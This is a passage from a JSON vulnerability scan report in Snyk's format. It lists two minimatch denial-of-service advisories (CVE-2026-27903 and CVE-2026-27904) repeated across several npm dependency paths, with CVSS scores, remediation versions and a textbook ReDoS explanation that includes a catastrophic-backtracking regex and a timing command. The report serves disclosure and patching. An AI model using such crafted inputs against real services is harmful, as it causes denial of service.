"medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the 